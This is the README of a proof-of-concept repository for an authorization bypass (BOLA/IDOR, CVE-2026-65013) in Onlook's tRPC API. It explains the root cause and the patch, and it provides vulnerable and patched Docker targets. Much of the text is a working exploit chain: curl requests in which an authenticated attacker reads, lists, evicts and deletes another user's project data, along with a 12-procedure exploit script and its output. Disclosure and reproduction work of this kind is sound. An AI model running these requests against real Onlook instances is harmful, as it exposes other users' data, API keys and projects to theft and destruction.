
OnlookのtRPC APIに対する再現可能なBOLA/IDOR PoC(CVE-2026-65013)。12ステップのエクスプロイトチェーン、脆弱版および修正版のDockerターゲット、技術ドキュメントを含む。
Onlook の tRPC API における BOLA / IDOR の再現可能な PoC(CVE-2026-65013)。
認証済みの任意のユーザーが、UUID を tRPC プロシージャに渡すだけで、他ユーザーのプロジェクト、メンバー、AI 履歴を読み取り、変更し、削除できる(バージョン <= 0.2.32)。
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 脆弱なバージョン | Onlook <= 0.2.32 |
| パッチ | コミット 423e2e9 (PR onlook-dev/onlook#3129) |
| ドキュメント | 内容 |
|---|---|
docs/CVE-2026-65013.md | CVE の技術解説: 根本原因(RLS の適用除外 + 誤配置されたヘルパー)、実際に影響を受ける範囲、攻撃の解剖、修正 423e2e9 の行単位の分析、修復、CVE/advisory/PR への参照。 |
docs/ARQUITECTURA.md | PoC の解説: ファイルマップ、tRPC v10+superjson のワイヤーフォーマット、データモデル、VULN と FIX のスキーマ、プロシージャ一覧表、PoC ↔ 実際の Onlook の対応、拡張ガイド、手動での検証/CI。 |
Onlook はバックエンドを tRPC で公開しており、プロシージャはクライアントから直接リソースの id を受け取る:
project.get({ projectId }) // 任意のプロジェクトを読み取る
member.remove({ projectId, userId }) // 誰でも追放する
chat.conversation.delete({ conversationId }) // AI 履歴を削除する
settings.get({ projectId }) // API キーを含む settings
問題は、そのほとんどが呼び出し元がプロジェクトのメンバーであることを検証していなかったことだ。Postgres (Drizzle) への接続は Row Level Security を適用除外されたスーパーユーザーだったため、制御は tRPC のコード内に存在しなければならなかった…が、そこが欠けていた。
ヘルパー verifyProjectAccess() はすでに存在していた(一部のプロシージャ、例えば project.update/delete には適用されていた)が、残りの surface はクライアントの id を信頼していた: project.get、member.list、member.remove、invitation.list、chat.conversation.*、chat.message.*、branch.*、settings.*、frame.*…
認証は問題ではない(Supabase の JWT は機能する)。問題はオブジェクト単位の認可(BOLA/IDOR)だ: 攻撃者は自身の正規のセッションを使って、被害者の id に対して操作を行う。
lib/authorization.js には欠けていたヘルパー(verifyProjectAccess、verifyConversationAccess、verifyMessagesAccess、verifyBranchAccess、verifyCanvasAccess、verifyMemberRemoval、verifyInvitationAccess)が含まれている — コミット 423e2e9 に相当する。lib/router.js は**enforceAuth が有効な場合にのみ**それらを呼び出す。脆弱なモードではプロシージャはチェックなしで実行される(実際のバグ)。Unauthorized or not found(UNAUTHORIZED)をスローし、リソースの存在を列挙できないようにする:
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update は「対照」として両方のモードで保護されたままである: これはヘルパーが存在していたこと、単に誤配置されていたことを示している。docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABLE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PARCHEADO
Docker は target(脆弱版とパッチ版)に加えて
demoサービスを起動する。エクスプロイトはあなたのマシンからこれらの target に対して行う。
curl -s http://localhost:3000/demo/ids # ids del seed de la víctima (Alice)
これは、攻撃者が UUID を入手する実際の経路(共有プレビューリンク、ログのリファラ、招待…)を置き換えるものだ。
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ya no está en su proyecto)
# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)チェーンの12 個のプロシージャを実行する(プロジェクトの読み取り、Alice のプロジェクト一覧、メールの抽出、owner の追放、招待の一覧、AI 履歴の読み取り/削除、branches、apiKey を含む settings、frames):
node exploit.js # contra :3000 (vulnerable) → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (parcheado)
典型的な出力(脆弱版):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
パッチ版に対して:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
エクスプロイトは脆弱なサーバーのインメモリデータベースを変更する: 再実行するにはそのインスタンスを再起動すること(
docker compose restart server)。
| プロシージャ | :3000 脆弱版 | :3001 パッチ版 |
|---|---|---|
project.get(他人のプロジェクト) | 200 + 名前/メタデータ | 401 Unauthorized or not found |
member.list(他人のメール) | 200 + メール | 401 |
member.remove(owner の追放) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get(apiKey) | 200 + settings | 401 |
project.update(対照: すでに保護済み) | 401 | 401 |
npm run demo # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real
または Docker で:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (o http://localhost:3001 para la versión parcheada)
デモアカウント:
| Password | 役割 | |
|---|---|---|
[email protected] | alice123 | 秘密プロジェクトの所有者 |
[email protected] | bob123 | 攻撃者 |
[email protected] | charlie123 | Alice のプロジェクトの編集者 |
project.getPreviewProjects)、サーバーの状態(脆弱/パッチ済み)、tRPC surface。💥 FILTRADO / 🛡️ BLOQUEADO の結果を表示する。フロントエンドはプレゼンテーションにすぎない: 脆弱性は
lib/router.jsに存在し、README の curl による手動フローは依然として同じである。